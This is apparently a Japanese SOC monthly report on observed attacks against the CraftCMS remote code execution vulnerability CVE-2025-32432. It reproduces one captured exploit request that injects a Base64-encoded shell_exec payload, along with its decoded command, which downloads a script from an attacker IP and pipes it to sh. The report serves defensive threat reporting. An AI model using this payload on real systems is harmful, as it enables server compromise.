2025.07.11

2025年6月度 MBSD-SOCの検知傾向トピックス

「CraftCMS」におけるリモートコード実行の脆弱性（CVE-2025-32432）を狙った攻撃

　今月は、オープンソースのコンテンツ管理システム「CraftCMS」の脆弱性（CVE-2025-32432）を狙った攻撃を新たに観測しました。本脆弱性は、4/25(金)に公開されたもので、攻撃者に悪用された場合、認証を回避されて任意のコードを実行されてしまう恐れがあります。

　本脆弱性のCVSS値（脆弱性の深刻度）は、10.0（Critical）と評価とされており、深刻な脆弱性に位置づけられています。既にPoC（概念実証コード）が公開されており悪用事例も報告されているため、当該製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

　下図は、本脆弱性を狙った攻撃の検知数推移です。弊社SOCでは6/4(水)に初観測しております。

図. CraftCMSの脆弱性（CVE-2025-32432）を狙った攻撃数推移

　以下は、弊社SOCで検知した攻撃例です。shell_exec()内にBase64で記述されたコードの実行を試みた通信となっています。

図. CraftCMSの脆弱性（CVE-2025-32432）を狙った攻撃例
GET /index.php?p=admin/dashboard&a=<?=shell_exec(base64_decode(""KGN1cmwgMTExLjkwLjE1MS41NyB8fCB3Z2V0IC1PLSBodHRwOi8vMTExLjkwLjE1MS41NykgfCBzaA==""));die()?> HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Host: www.example.co.jp

　上記のBase64をデコードすると以下の攻撃コードが含まれていることが分かります。
　※IPアドレス部分は[.]で無害化しています。

(curl 111[.]90[.]151[.]57 || wget -O- http://111[.]90[.]151[.]57) | sh

　下表は、本脆弱性を狙った攻撃元国です。オランダからの攻撃を多数観測しました。